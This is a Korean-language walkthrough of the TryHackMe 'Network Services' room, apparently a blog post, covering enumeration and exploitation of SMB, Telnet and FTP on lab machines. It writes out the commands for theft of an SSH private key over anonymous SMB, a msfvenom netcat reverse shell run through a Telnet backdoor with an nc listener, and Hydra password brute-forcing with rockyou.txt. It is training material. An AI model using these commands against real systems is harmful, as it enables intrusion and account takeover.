이것은 Polomints가 만든 TryHackMe.com 룸, 네트워크 서비스에 대한 글입니다.
이 글에는 대부분의 질문에 대한 답변이 포함되지만 TryHackMe의 요청에 따라 플래그나 비밀번호는 포함되지 않습니다.
이 방은 글을 쓰는 시점의 사이버 방어 학습 경로와 여기에서 찾을 수 있습니다.
여기에서 이에 대한 내 비디오 연습을 찾을 수 있습니다.
이 방의 작업은 이해, 열거, 활용이라는 반복적인 패턴을 따릅니다. 이해 작업은 활용하려는 서비스에 대해 알려줍니다. 열거 작업에서는 서비스에 대한 데이터를 수집하는 방법을 알려줍니다. 그런 다음 Exploiting 작업에서는 각 서비스에 대해 Exploit을 실행합니다.
이 회의실에서 사용하는 VM은 모두 녹색 스택 아이콘으로 표시되는 열거 작업에 있습니다. . VM이 가동되는 데 1~5분 정도 걸릴 수 있으므로 이해 작업을 시작하기 전에 열거 작업으로 이동하여 머신을 시작하는 것이 좋습니다. 그러면 돌아가서 이해 작업을 실행하는 동안 설정할 시간이 제공됩니다.
또한 당신도 나처럼 TryHackMe를 처음 접한다고 가정해 보세요. 이 경우 일반적으로 작업에 언급된 포트 번호를 사용하여 IP 주소를 브라우저에 입력하면 OpenVPN으로 연결할 수 있는 VM만 경험했을 수 있으며 그러면 GUI로 이동됩니다. 이 방은 그렇지 않습니다. 이러한 VM은 테스트 중인 서비스와 해당 서비스만 제공하도록 설정됩니다. 즉, 로컬 컴퓨터의 터미널인 Attack Box를 사용하거나 프리미엄 사용자인 경우 브라우저 기반 Kali 상자를 사용하여 VM과 통신하게 됩니다. 저는 브라우저 기반의 Kali 박스를 사용했습니다.
로컬 컴퓨터를 사용하는 경우 Linux 컴퓨터 또는 Kali/원하는 버전이 설치된 Linux용 Windows 하위 시스템을 사용하는 것이 좋습니다. 필요한 모든 도구는 Kali에 사전 설치되어 있지만 다른 배포판에 추가할 수 있습니다. 또한 내 컴퓨터에는 Linux용 Windows 하위 시스템이 작동하지 않으므로 몇 가지 사항을 직접 파악해야 할 수도 있습니다.
브라우저 기반 Kali 머신/Attack Box에서 제공되는 파일이 필요한 부분이 있습니다. 로컬 컴퓨터를 사용하려면 Attack Box를 시작하고 이 파일을 다운로드해야 합니다. 태스크 10에만 공격 상자를 사용할 수도 있습니다.
@@ 이후에 GitHub(rockyou.txt)에서 파일을 다운로드할 수 있다는 것을 알게 되었습니다. 이것이 지금까지 가장 쉬운 방법이지만, 누군가 시도해 보고 싶어할 경우를 대비해 여기에 추가 지침을 남겨 두겠습니다. @@
Windows 10에서 WinSCP를 사용하여 다운로드하는 방법
136MB 파일을 다운로드하고 로컬 터미널을 사용하려는 경우 Windows 컴퓨터에서 수행하는 방법은 다음과 같습니다. 전송에는 WinSCP를 사용했습니다. 먼저, 분할뷰 Attack Box를 시작하세요. 그런 다음 데스크탑에 액세스한 후 화면 왼쪽 하단에 있는 "i"를 클릭하십시오. . 그러면 Attack Box의 IP 주소, 사용자 이름 및 비밀번호가 제공됩니다. 그런 다음 WinSCP의 로그인 화면에서 “New Site(새 사이트)”를 선택한 다음 호스트 이름으로 Attack Box의 IP 주소, 사용자 이름으로 사용자 이름, 비밀번호로 비밀번호를 입력합니다.
명심하세요; 귀하의 정보는 나와 다를 것입니다. 프로토콜로 sftp를 선택하면 포트 22가 자동으로 채워집니다. 그렇지 않은 경우 포트에 22를 입력하십시오. 그런 다음 로그인을 클릭하세요. "알 수 없는 서버에 계속 연결..."할지 묻는 팝업이 표시될 수 있습니다. 예를 클릭하세요. 로그인하면 Attack Box의 루트 디렉터리에 있게 됩니다. "도구"를 두 번 클릭한 다음 "단어 목록"을 두 번 클릭합니다(WinSCP의 경로는 /usr/share/wordlists/
로 변경됩니다. 괜찮습니다.) rockyou.txt라는 파일을 찾아서 선택하고 다운로드를 클릭합니다.
다운로드 대화 상자가 열리면 원하는 파일 경로를 선택한 다음 확인을 클릭하세요. 이제 작업 10에 필요한 파일이 생겼습니다. 파일 경로를 기억하세요. 당신은 그것이 필요합니다.
끝, Windows 10에서 WinSCP를 사용하여 다운로드하는 방법
Linux 터미널을 사용하여 다운로드하는 방법
Windows와 마찬가지로 분할 보기 Attack Box를 시작합니다. 그런 다음 데스크탑에 액세스한 후 화면 왼쪽 하단에 있는 "i"를 클릭하십시오. . 그러면 Attack Box의 IP 주소, 사용자 이름 및 비밀번호가 제공됩니다.
터미널에서 괄호 없이 sftp root@{Your Attack Box Private IP}
입력합니다. 이 글에서 명령을 실행할 때는 항상 중괄호를 제거하세요. 내가 본 모든 Attack Box의 사용자 이름은 루트입니다. 귀하의 이름이 다른 경우 위 명령에서 루트 대신 사용자 이름을 입력하십시오. 그런 다음 비밀번호를 묻습니다. Attack Box의 Machine Information 창에서 비밀번호를 복사하여 붙여넣으세요. 비밀번호가 표시되지 않더라도 걱정하지 마세요. 붙여넣기/입력하고 Enter 키를 누르세요. 연결 후 sftp>
프롬프트가 표시됩니다. 문제가 발생하면 OpenVPN이 연결되어 있는지, 올바른 사용자 이름/IP 주소/비밀번호를 사용하고 있는지 다시 확인하세요. sftp
프롬프트가 나타나면 대문자 사용에 주의하면서 get /root/Desktop/Tools/wordlists/rockyou.txt
입력하십시오. 로컬 시스템에 파일 다운로드가 시작됩니다.
내 것과 유사한 배포판(Kali)을 사용하는 경우 파일을 사용자의 홈 폴더에 놓아야 합니다. 파일 경로를 기억하세요. 작업 10에 필요합니다.
끝, Linux 터미널을 이용하여 다운로드하는 방법
이제 모든 작업을 마치고 작업을 시작하겠습니다!
이 작업은 순전히 정보 제공용이므로 질문에 대한 답변이 필요하지 않습니다. 이를 읽어보면 Linux 시스템 탐색에 대한 기본적인 이해가 필요하다는 것을 알 수 있으며 기술을 연마할 여지가 있음을 알 수 있습니다. 또한 수분을 유지하도록 상기시켜줍니다.
완료 버튼을 클릭하고 다음 작업으로 넘어갑니다.
이 작업에서는 네트워크를 통해 파일, 프린터 및 기타 리소스에 대한 액세스를 공유하는 데 사용되는 클라이언트-서버 프로토콜인 Microsoft 서비스 SMB(서버 메시지 블록)에 대해 설명합니다. 이론 과제이므로 내용을 잘 읽고 아래 질문에 답해 보세요. 이전에 NetBEUI라는 단어를 본 적이 없다면, 보지 못하더라도 비난하지 않을 것입니다. 이 단어는 바다 부표처럼 Net Buoy로 발음됩니다.
대기 시간을 최소화하려면 지금 작업 3을 열고 녹색 '머신 시작' 버튼을 클릭한 다음 다시 위로 스크롤하여 이 작업을 실행하는 것이 좋습니다.
질문 1
SMB는 무엇을 의미하나요?
서버 메시지 블록
질문 2
SMB는 어떤 유형의 프로토콜인가요?
응답 요청
질문 3
클라이언트는 무엇을 사용하여 서버에 연결합니까?
TCP/IP
질문 4
Samba는 어떤 시스템에서 실행되나요?
유닉스
이 작업에서는 성공적인 악용을 설정하는 데 중요한 정보 수집 단계를 다룹니다.
위의 지침을 따랐다면 작업 2를 완료하기 전에 이미 이 작업에 대한 머신을 시작한 것입니다. 그렇지 않은 경우 "머신 시작"이라고 표시된 녹색 버튼을 클릭하여 지금 머신을 시작하십시오. 머신이 완전히 가동되고 실행되면 페이지 상단에 IP 주소가 표시됩니다. 당신은 그것이 필요합니다.
포트 스캐닝 도구 Nmap에 대한 간략한 설명으로 시작됩니다. 계속 진행하기 전에 Nmap에 대한 더 많은 경험을 원하거나 필요하다면 Red Primer 시리즈의 일부인 방을 권장합니다. 이 방에 대해 알아야 할 유일한 두 가지 옵션은 OS 감지, 버전 감지, 스크립트 스캐닝 및 경로 추적을 활성화하는 -A
옵션과 Nmap에게 포트뿐만 아니라 모든 포트를 스캔하도록 지시하는 -p-
옵션입니다. 1000이 가장 일반적입니다. 여기서 사용할 Nmap 스캔의 구문은 nmap {options} {target}
입니다. 따라서 첫 번째 스캔의 경우 모든 10 대신 활성 시스템의 IP가 있는 nmap -A -p- 10.10.10.10
과 같이 표시됩니다. 이 스크린샷은 컴퓨터 IP를 찾을 수 있는 위치를 보여줍니다. 활성 머신의 IP를 사용해야 하며 여기에 표시된 IP를 복사하지 마세요.
우리는 또한 나에게 새로운 도구인 enum4linux를 사용할 것입니다. enum4linux는 Windows 및 Linux 시스템에서 SMB 공유를 열거하는 데 사용됩니다. 사용 가능한 enum4linux 옵션 목록이 있습니다. 그러나 이 모든 것을 포함하는 -a
옵션이 제가 사용한 것입니다. 참고: enum4linux에 제공된 정보에서는 옵션을 대문자로 -A
로 설명하는데 이는 올바르지 않습니다. 소문자 a
여야 합니다.
질문 1
원하는 Nmap 스캔을 수행하십시오. 열려 있는 포트는 몇 개입니까?
이 질문에 대해 nmap {IP of your Active Machine}
의 기본 Nmap 스캔을 수행할 수 있습니다. 그러나 1개의 스캔을 실행하고 다음 질문에 대한 거의 모든 정보를 얻으려면 nmap -A -p- {IP of your Active Machine}
실행하십시오. 기본 스캔으로 얻을 수 있는 정보는 다음과 같습니다.
스캔 결과를 보면 알 수 있듯이 열려 있는 포트는 22, 139, 445 3개입니다. 하지만 그 외에 필요한 것은 많지 않습니다.
질문 2
SMB는 어떤 포트에서 실행되고 있나요?
이 질문은 조금 더 까다롭습니다. SMB는 포트 445의 Microsoft-ds의 일부이지만 139의 NetBIOS를 통해 실행될 수 있습니다. 따라서 이 질문에 대한 대답은 둘 다입니다.
139/445
질문 3
enum4linux로 시작하여 전체 기본 열거를 수행해 보겠습니다. 우선, 작업 그룹 이름이 무엇입니까?
이 질문에 대해 nmap -A {Your Machine's IP}
실행했다면 해당 정보가 이미 있는 것입니다.
하지만 이 질문은 우리에게 enum4linux에 대해 가르쳐 주고 있으므로 이를 사용해 보겠습니다. enum4linux -a {IP Address of your Active Machine}
실행합니다.
위 스크린샷에서 볼 수 있듯이 워크그룹은 WORKGROUP으로 나열됩니다.
질문 4
기계 이름이 어떻게 나오나요?
이 질문에 대해 nmap -A -p-
사용한 경우 스캔 결과의 "호스트 스크립트 결과" 섹션까지 아래로 스크롤해야 합니다.
컴퓨터 이름 아래에 polosmb
표시됩니다.
enum4linux의 경우 추론을 조금 더 수행해야 합니다.
질문 5
위 스크린샷에는 이 질문에 대한 답변도 포함되어 있습니다.
실행 중인 운영 체제 버전은 무엇입니까?
6.1
질문 6
이 질문은 enum4linux로만 답할 수 있습니다. enum4linux -A {IP of your Active Machine}
실행합니다.
우리가 조사하고 싶은 부분으로 어떤 부분이 눈에 띄나요?
IPC$는 프로세스 간 통신입니다. 그럴 필요는 없을 겁니다. print$는 프린터 드라이버용이지만 우리가 원하는 것은 아닙니다. 네트워크 로그온 서비스를 위한 netlogon은 아마도 우리에게 필요한 정보를 갖지 못할 것입니다. 그러면 사용자 프로필에 대한 정보가 포함된 profiles
남습니다. 그것은 잠재력이 있습니다. 우리는 그곳에서 사용자의 로그인 정보를 찾을 수 있습니다.
여기서 우리는 더 많은 즐거움을 누릴 수 있습니다. 우리는 Kali에서 사용할 수 있지만 다른 배포판에 추가할 수 있는 SMBClient를 사용할 것입니다. SMBClient의 경우 smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
구문을 사용합니다.
질문 1
기본 포트에 IP 10.10.10.2가 있는 시스템에서 사용자 "suit"으로 "secret"이라는 SMB 공유에 액세스하는 올바른 구문은 무엇입니까?
위의 구문을 보면 간단히 정보를 연결할 수 있습니다.
smbcliet //10.10.10.2/secret -U suit -p 445
질문 2 좋아요! 이제 구문에 익숙해졌으므로 이 취약점을 악용해 보겠습니다. 사용자 목록, 공유 이름, 의심되는 취약점이 있습니다.
답변이 필요하지 않습니다. 완료를 클릭하면 됩니다.
질문 3
흥미로운 공유가 익명 액세스를 허용하도록 구성되었는지 살펴보겠습니다. 파일을 보기 위해 인증이 필요하지 않습니다. 우리는 이것을 쉽게 할 수 있습니다:
사용자 이름 "Anonymous" 사용
열거 단계에서 찾은 공유에 연결
비밀번호를 제공하지 않음
비밀번호를 묻는 메시지가 나타나면 Enter 키를 누르세요.
공유가 익명 액세스를 허용합니까? 예/아니요?
smb: > 프롬프트가 표시되면 비밀번호를 입력하지 않고도 성공적으로 로그인했다는 의미입니다. 따라서 Y
는 익명 액세스를 허용합니다.
질문 5
공유 내용을 보려면 ls
입력합니다. 우리에게 어떤 정보가 있을 것 같은 것이 무엇이라고 보시나요?
나에게 가장 먼저 눈에 띄는 것은 텍스트 파일이었습니다. 이제 Linux는 이름에 공백이 있는 파일을 좋아하지 않으므로 명령에서 공백 주위에 " "를 추가해야 합니다. 말하자면, 터미널에 표시된 대로 "help"를 입력하면 사용 가능한 명령 목록이 표시되는데, 이는 매우 유용하다고 생각합니다.
일반적으로 cat
사용하여 .txt 파일의 내용을 표시하지만 목록에는 없습니다. SMBClient가 그걸 모르는 것 같아서 more
많은 .
이 파일은 John Cactus를 기반으로 한 잠재적 사용자 이름, 파일 주소, John이 SSH 계정을 설정했다는 두 가지 큰 정보를 제공합니다.
엄청난! 귀중한 정보가 포함될 수 있는 흥미로운 문서를 찾아보세요. 이 프로필 폴더가 누구의 소유라고 가정할 수 있나요?
존 선인장
질문 6
이전 질문의 .txt 파일을 읽으면 이에 대한 답도 얻을 수 있습니다.
재택근무를 할 수 있도록 어떤 서비스가 구성되어 있나요?
SSH
질문 7
이제 .txt 파일 작업이 완료되었으므로 "q"를 눌러 편집기를 종료하세요.
좋아요! 이제 우리는 이것을 알고 있습니다. 공유에서 어떤 디렉토리를 찾아야 할까요?
John의 SSH 계정에 대한 추가 정보를 찾는 동안 여기에 매우 유용할 수 있는 폴더가 있을 것 같습니다. 어느 쪽일 것 같아?
.ssh
질문 8
이 디렉터리에는 사용자가 자신을 인증한 다음 서버에 액세스할 수 있도록 하는 인증 키가 포함되어 있습니다. 이 열쇠 중 우리에게 가장 귀중한 열쇠는 무엇입니까?
따라서 cd .ssh
입력하여 .ssh 폴더로 cd하겠습니다. 그런 다음 ls
명령을 다시 실행하여 내용을 확인합니다.
기본 SSH 키는 id_rsa
파일에 저장됩니다. 이것이 우리의 대답입니다.
SSH 키의 모양을 보려면 more 명령을 다시 사용하여 확인할 수 있습니다. more id_rsa
. 확인해야 할 가장 중요한 부분은 양쪽에 5개의 대시가 있는 'BEGIN RSA PRIVATE KEY'로 시작한다는 것입니다. 그런 다음 양쪽에 5개의 점선이 있는 "END RSA PRIVATE KEY"로 끝납니다. 그런 다음 다시 "q"를 눌러 편집기를 종료합니다.
이제 다음 질문을 좀 더 쉽게 만들기 위해 몇 가지 추가 검토를 수행할 수 있습니다. more id_isa.pub
실행하세요. 그리고 파일 맨 끝에서 무엇을 볼 수 있는지 확인하세요.
질문 9
이 파일을 로컬 컴퓨터에 다운로드하고 "chmod 600 [file]"을 사용하여 권한을 "600"으로 변경합니다.
파일을 다운로드하려면 help 명령을 살펴보고 다운로드로 이어질 가능성이 가장 높은 명령이 무엇인지 확인하십시오.
나는 get
대접을 받을 것이라고 생각한다. 따라서 .ssh 폴더에 있는 동안 파일을 다운로드하려면 get id_rsa
실행합니다. Kali 브라우저 기반 시스템에서는 파일이 루트 디렉터리에 저장됩니다. 로컬로 실행되는 Linux 배포판을 사용하는 경우 아마도 이를 사용자의 홈 디렉터리에 놓을 것입니다.
이제 RSA 키 파일이 작동하려면 일정 수준의 보안이 필요하므로 이 파일에 대한 올바른 권한을 설정해야 합니다. 공유도 중단되었으므로 quit
실행하여 컴퓨터의 프롬프트로 돌아갑니다. 그런 다음 chmod 600 {File Path}
실행하십시오. 따라서 Kali 웹 머신의 경우 chmod 600 id_rsa
입니다. 다른 컴퓨터의 경우 cd
사용하여 파일이 있는 폴더로 이동한 다음 위의 명령을 실행하고 명령에 파일 경로를 입력할 수 있습니다.
이제 이미 수집한 정보를 사용하여 계정의 사용자 이름을 알아보세요. 그런 다음 서비스와 키를 사용하여 서버에 로그인합니다.
약간의 추가 정찰을 수행했기 때문에 사용자 이름이 "cactus"라는 것을 알 수 있습니다. 처음 이 작업을 실행했을 때 사용자 이름이 j.cactus라고 가정했는데 이해할 수 없는 오류가 발생했습니다. 올바른 사용자 이름을 찾으면 문제가 해결되었습니다.
지정된 키를 사용하는 SSH의 구문은 ssh -i {Key File} {Username}@{IP Address}
입니다. 따라서 우리에게는 ssh -i id_rsa cactus@{Active Machine's IP Address}
가 됩니다.
계속할 것인지 묻는 메시지가 나타나면 "예"를 입력하고 Enter 키를 누르십시오. 축하해요! cactus@polosmb:~$
로 프롬프트가 변경되면 이제 귀하의 계정이 아닌 계정으로 서버에 로그인한 것입니다.
ls
명령을 사용하여 여기에 있는 파일을 확인하세요. 단 하나의 파일입니다. 깃발을 탈취할 수 있도록 문을 열어보세요! 여기에서 cat
사용하여 내용을 화면에 인쇄할 수 있습니다.
질문 10
방금 연 파일의 내용을 복사하여 이 답변 상자에 붙여넣습니다. TryHackMe에서는 플래그를 제외하라는 글을 요청하므로 여기에 게시하지 않겠습니다.
SMB 섹션이 완료되면 현재 활성 컴퓨터를 종료하고 작업 6으로 점프하여 해당 컴퓨터를 시작한 후 작업 5로 돌아가야 합니다.
Telnet은 오래된 애플리케이션 프로토콜입니다. 원격 호스트와 상호 작용하는 데 사용됩니다. 원격 시스템에 연결되면 해당 시스템의 가상 터미널이 됩니다. 그러나 모든 정보를 일반 텍스트로 보내기 때문에 오래되었습니다. 암호화가 없습니다. SSH는 훨씬 더 안전하기 때문에 대부분의 상황에서 Telnet을 대체했습니다. Telnet을 사용하여 원격 시스템에 연결하려면 telnet {IP Address} {port Number}
구문을 사용합니다. Telnet의 기본 포트는 23입니다.
질문 1
텔넷이란 무엇입니까?
애플리케이션 프로토콜
질문 2
Telnet을 천천히 대체하는 것은 무엇입니까?
SSH
질문 3
포트 23에서 IP 10.10.10.3을 사용하여 Telnet 서버에 어떻게 연결합니까?
텔넷 10.10.10.3 23
질문 4
모든 Telnet 통신이 일반 텍스트로 이루어졌다는 것은 무엇을 의미합니까?
암호화
이 작업을 위해 컴퓨터를 아직 시작하지 않았다면 지금 시작하십시오.
SMB 작업과 마찬가지로 대상 시스템의 포트 스캔을 실행하여 시작합니다.
nmap -A -p- {IP address of your Active Machine}
실행합니다. 이 스캔은 시간이 걸릴 수 있습니다. 내 작업은 174.56초 만에 완료되었습니다.
질문 1
대상 컴퓨터에 몇 개의 포트가 열려 있습니까?
"1" 포트만 열려 있습니다.
질문 2
이것은 무슨 항구입니까? 참고: 어느 포트가 열려 있는지 묻는 메시지입니다.
8012
질문 3
이 포트는 할당되지 않았지만 여전히 사용 중인 프로토콜을 나열합니다. 이게 무슨 프로토콜이에요?
TCP
질문 4
이제 -p- 태그 없이 Nmap 스캔을 다시 실행하십시오. 열려 있는 포트는 몇 개입니까?
-p-
옵션은 Nmap에게 모든 포트를 스캔하도록 지시하므로 이 옵션을 제거하면 Nmap은 상위 1000개 포트만 스캔합니다.
"0" 포트가 열려 있습니다.
질문 5
비표준 포트에 Telnet을 할당하는 것은 Nmap이 검색하는 공통 포트 목록이나 상위 1000개 포트의 일부가 아니라는 것을 알 수 있습니다. 여기에서 수집한 정보가 공격 단계에 영향을 미치므로 열거할 때 모든 각도를 시도하는 것이 중요합니다.
답변이 필요하지 않습니다. 완료를 클릭하세요
질문 6
우리에게 반환된 제목에 따르면 이 포트는 어떤 용도로 사용될 수 있다고 생각합니까?
마지막 스크린샷 하단에서 이 질문이 무엇을 말하는지 확인할 수 있습니다.
백도어
질문 7
누구의 것이 될 수 있습니까? 가능한 사용자 이름을 수집하는 것은 열거의 필수 단계입니다.
마지막 질문과 동일하며, 마지막 스크린샷에 정보가 있습니다.
스키디
질문 8
열거 단계에서 찾은 정보를 항상 기록해 두어 악용을 시도할 때 다시 참조할 수 있도록 하세요.
메모를 하는 것은 매우 중요합니다. 조사 결과에 대한 보고서를 작성하는 것은 보안 유지의 중요한 부분입니다. 꼼꼼하게 메모하는 습관을 들이면 모든 일이 쉬워집니다.
답변이 필요하지 않습니다. 완료를 클릭하세요
방법 분석
따라서 열거 단계에서 우리는 다음을 알 수 있습니다.
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
이 정보를 사용하여 이 Telnet 포트에 액세스하고 이를 발판으로 사용하여 시스템에서 완전한 리버스 쉘을 확보해 봅시다!
위에서 기억하세요. 텔넷의 구문은 telnet {Machine IP} {Port}
입니다.
질문 1
좋아요, 이 텔넷 포트에 연결해 보겠습니다! 문제가 발생하면 위에 설명된 연결 구문을 살펴보세요.
이를 위해서는 telnet {Your Active Machine's IP Address} 8012
실행해야 합니다. Nmap 검색에서 찾은 것처럼 Telnet의 기본 포트가 23이지만 이 시스템은 비표준 포트에 있기 때문입니다.
답변이 필요하지 않습니다. 완료를 클릭하세요.
질문 2
엄청난! 개방형 텔넷 연결입니다! 우리는 어떤 환영 메시지를 받나요?
스키디의 백도어.
질문 3
몇 가지 명령을 실행해 보겠습니다. 텔넷 세션에 입력한 내용을 반환받을 수 있나요? (예/아니요)
이를 위해 원하는 명령을 입력하세요. 나는 거기에 무엇이 있는지 알아보기 위해 ls
시도했습니다. 그리고 우리는 아무런 정보도 얻지 못하므로 이 질문에 대한 대답은 다음과 같습니다.
N
질문 4
흠... 이상하네요. 우리가 입력하고 있는 내용이 시스템 명령으로 실행되고 있는지 확인해 보겠습니다.
답변이 필요하지 않습니다. 완료를 클릭합니다.
질문 5
모든 명령이 공백으로 전송되는 것을 보면 이 연결을 닫는 것이 약간 어렵습니다. 도움이 되는 내용으로 변경하라는 메시지를 받으려면 ctrl + ]
누르세요. 이는 컨트롤과 오른쪽 대괄호 키를 동시에 누르면 프롬프트가 telnet>
으로 변경된 다음 close
입력하고 Enter 키를 누르는 것입니다. 이제 평소와 같은 프롬프트로 돌아가야 합니다. 또는 원하는 경우 텔넷 세션을 연결된 상태로 두고 새 탭/창을 열어 다음 tcpdump를 실행할 수 있습니다.
로컬 머신에서 tcpdump 리스너를 시작합니다.
tcpdump 수신기는 선택한 인터페이스의 트래픽을 모니터링한 다음 해당 트래픽을 화면에 기록합니다. 이를 시작한 다음 자체 탭/창에서 실행되도록 둡니다.
OpenVPN 연결로 자신의 컴퓨터를 사용하는 경우 다음을 사용하세요.
sudo tcpdump ip proto icmp -i tun0
AttackBox를 사용하는 경우 다음을 사용하십시오.
sudo tcpdump ip proto icmp -i eth0
그러면 ping이 작동하는 ICMP 트래픽을 명시적으로 수신하는 tcpdump 수신기가 시작됩니다.
둘의 차이점은 네트워크 인터페이스입니다. 로컬 Linux 상자에서는 OpenVPN 연결에 필요한 터널링 장치인 tun0을 사용해야 하지만 이에 대해 내 말을 인용하지는 마세요. 사용해야 할 인터페이스를 결정하려면 sudo ifconfig
실행해야 할 수도 있습니다.
답변이 필요하지 않습니다. 완료를 클릭하세요
질문 6
이 질문에 대해 우리는 텔넷 세션을 다시 사용할 것입니다. 아직 열려 있다면 좋습니다. 그렇지 않은 경우 새 탭/창을 열고 위와 동일한 단계를 사용하여 컴퓨터에 다시 연결하세요. 이 질문에 대해서는 작업 중인 시스템(Attack Box, Kali Machine 또는 로컬 시스템)의 IP 주소가 필요하다는 점에 유의하세요.
이 질문은 텔넷 세션을 통해 ping 명령을 실행하도록 하는 것입니다. .RUN ping {Local IP Address} -c 1
입력하겠습니다. 그러면 원격 호스트에서 로컬 컴퓨터로 1개의 ping이 전송됩니다. 두 창을 동시에 볼 수 있으면 무슨 일이 일어나는지 확인할 수 있습니다.
이제 텔넷 세션을 통해 "ping [local THM ip] -c 1" 명령을 사용하여 시스템 명령을 실행할 수 있는지 확인합니다. 핑이 수신되나요? 참고로 이 앞에 .RUN(Y/N)을 붙여야 합니다.
tcpdump 수신기가 있는 탭에 ping 요청과 ping 응답이 모두 표시되어야 합니다.
와이
질문 7
엄청난! 이는 시스템 명령을 실행할 수 있고 로컬 시스템에 접근할 수 있음을 의미합니다. 이제 좀 즐겨보자!
답변이 필요하지 않습니다. 계속을 클릭하세요
질문 8
이 질문의 경우 텔넷 세션을 그대로 두고 다른 탭/창에 입력합니다. ctrl + c
눌러 tcpdump 수신기를 종료하고 해당 창을 사용할 수 있습니다. 더 이상 tcpdump가 필요하지 않습니다. 대괄호가 있는 위치에 연결된 로컬 시스템의 IP 주소를 사용하여 아래 명령을 실행하되 대괄호는 남겨 두십시오. 명령에서 Enter 키를 누르면 페이로드를 생성하고 화면에 인쇄하는 데 약간의 시간이 걸립니다.
msfvenom을 사용하여 리버스 쉘 페이로드를 생성하겠습니다. 그러면 netcat 리버스 쉘이 생성되고 인코딩됩니다. 구문은 다음과 같습니다.
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = 페이로드 lhost = 로컬 호스트 IP 주소(머신의 IP 주소) lport = 수신할 포트(머신의 포트) R = 원시 형식으로 페이로드 내보내기
생성된 페이로드는 어떤 단어로 시작하나요?
mkfifo
질문 9
완벽한. 거의 다 왔어요. 이제 우리가 해야 할 일은 로컬 컴퓨터에서 netcat 수신기를 시작하는 것뿐입니다. 우리는 다음을 사용하여 이 작업을 수행합니다.
"nc -lvp [수신 포트]"
페이로드에서 선택한 수신 포트에 대한 명령은 어떤 모양입니까?
NC -lvp 4444
질문 10
엄청난! 이제 실행 중입니다. msfvenom 페이로드를 복사하여 텔넷 세션에 붙여넣고 명령으로 실행해야 합니다. 바라건대, 이것은 대상 머신에 쉘을 제공할 것입니다!
명령이 텔넷 세션에서 작동하려면 이를 기억하십시오. 처음에는 .RUN이 있어야 합니다.
답변이 필요하지 않습니다. 완료를 클릭하세요.
질문 11
성공! flag.txt의 내용은 무엇입니까?
리버스 셸이 작동했다면 netcat 리스너 아래에 "connect to [10.10.xx] from ip etc..."가 표시되어야 합니다.
거기에서 평소와 같이 명령을 입력하고 원격 시스템으로 보낼 수 있습니다.
어떤 파일이 있는지 확인하려면 ls
로 시작하는 것이 좋습니다. 이전에 이와 같은 플래그를 이미 캡처했으므로 나머지도 알아낼 수 있어야 합니다.
이것으로 Telnet 섹션을 마칩니다. 따라서 현재 활성 컴퓨터를 종료하고 작업 9로 점프하여 해당 컴퓨터를 시작한 다음 작업 8로 돌아갑니다.
FTP, 파일 전송 프로토콜. 이름에서 알 수 있듯이 네트워크를 통해 파일을 전송하는 데 사용됩니다. 일반 FTP는 오래되었으며 보다 안전한 몇 가지 표준으로 대체되었습니다. FTPS는 TLS를 통한 FTP이므로 FTP와 마찬가지로 기본 포트는 여전히 21입니다. 다른 하나는 Secure File Transfer Protocol인 SFTP이며 SSH를 사용하므로 기본 포트는 22입니다.
질문 1
FTP는 어떤 통신 모델을 사용합니까?
클라이언트-서버
질문 2
표준 FTP 포트는 무엇입니까?
21
질문 3
FTP 연결 모드에는 몇 가지가 있습니까?
2
우리는 FTP 클라이언트로 작업할 것입니다. 시스템에 FTP 클라이언트가 설치되어 있는지 다시 확인하려면 ftp
입력하면 ftp>
프롬프트가 나타납니다. 그렇지 않은 경우 sudo apt install ftp
통해 설치하기만 하면 됩니다.
질문 1
우리는 이 FTP 서버를 열거하기 위해 Nmap을 다시 사용할 것입니다. 다음 질문을 살펴보면 기본 스캔에서 받는 것보다 더 많은 정보가 필요하므로 nmap {Active Machine IP Address} -A -p-
선택했습니다.
대상 컴퓨터에 몇 개의 포트가 열려 있습니까?
이 질문은 조금 이상합니다. 이 방을 돌아다니면서 정답을 보면 2라고 나와 있습니다. 방금 스캔을 해보니 포트 21만 열려 있는 것으로 나타났습니다. 1부터 시작하는 것이 좋습니다. 작동하지 않으면 2라고 말하세요.
질문 2
FTP는 어떤 포트에서 실행되고 있나요?
21
질문 3
어떤 종류의 FTP가 실행되고 있나요?
vsftpd
질문 4
좋습니다. 이제 우리가 다루고 있는 FTP 서버의 유형을 알았습니다. FTP 서버에 익명으로 로그인할 수 있는지 확인할 수 있습니다. 콘솔에 ftp [IP]
입력하고 메시지가 표시되면 "anonymous"를 입력하고 비밀번호는 입력하지 않으면 됩니다.
익명 FTP 디렉터리에 있는 파일 이름은 무엇입니까?
PUBLIC_NOTICE.txt
질문 5
이 질문의 경우 Telnet과 마찬가지로 get
명령을 다시 사용합니다. get PUBLIC_NOTICE.txt
를 입력하세요.
그러면 파일이 시스템에 다운로드되어 내용을 볼 수 있습니다. 더 이상 FTP 서버에 연결할 필요가 없으므로 표준 프롬프트로 돌아가려면 exit
입력하세요.
이제 방금 다운로드한 파일을 찾아야 합니다. 브라우저 기반 Kali 시스템의 경우 루트 디렉터리에 저장됩니다. 이는 텔넷 작업 중에 얻은 파일과 동일한 디렉터리에 있어야 합니다.
시스템에서 해당 내용을 찾았으면 이제 읽어볼 차례입니다. 해당 폴더로 이동하거나 cat
명령을 사용하여 전체 파일 경로를 입력하십시오. cat PUBLIC_NOTICE.txt
하여 우리에게 유용할 수 있는 정보가 있는지 확인하세요. 아마도 사용자 이름이 될 수도 있겠죠?
가능한 사용자 이름은 무엇이라고 생각하나요?
마이크
질문 6
엄청난! 이제 FTP 서버에 대한 세부 정보와 결정적으로 가능한 사용자 이름을 얻었습니다. 그걸로 우리가 무엇을 할 수 있는지 봅시다...
답변이 필요하지 않습니다. 완료를 클릭합니다.
이 특정 작업에서는 이미 알고 있는 사용자 이름 mike
사용하고 그의 비밀번호에 무차별 공격을 시도합니다. 여기가 rockyou.txt
파일이 작동하는 곳입니다. 비밀번호 목록입니다. 자신의 로컬 시스템을 사용하는 경우 다운로드한 위치를 기억하고 이를 파일 경로로 사용하세요. 우리가 사용할 도구는 히드라(Hydra)입니다. Hydra는 비밀번호 목록을 가져와 시스템에 시도하여 작동하는지 확인할 수 있습니다.
TryHackMe 페이지에는 이 공격에 사용할 구문이 자세히 설명되어 있습니다. 나는 그것을 읽어 보는 것이 좋습니다.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
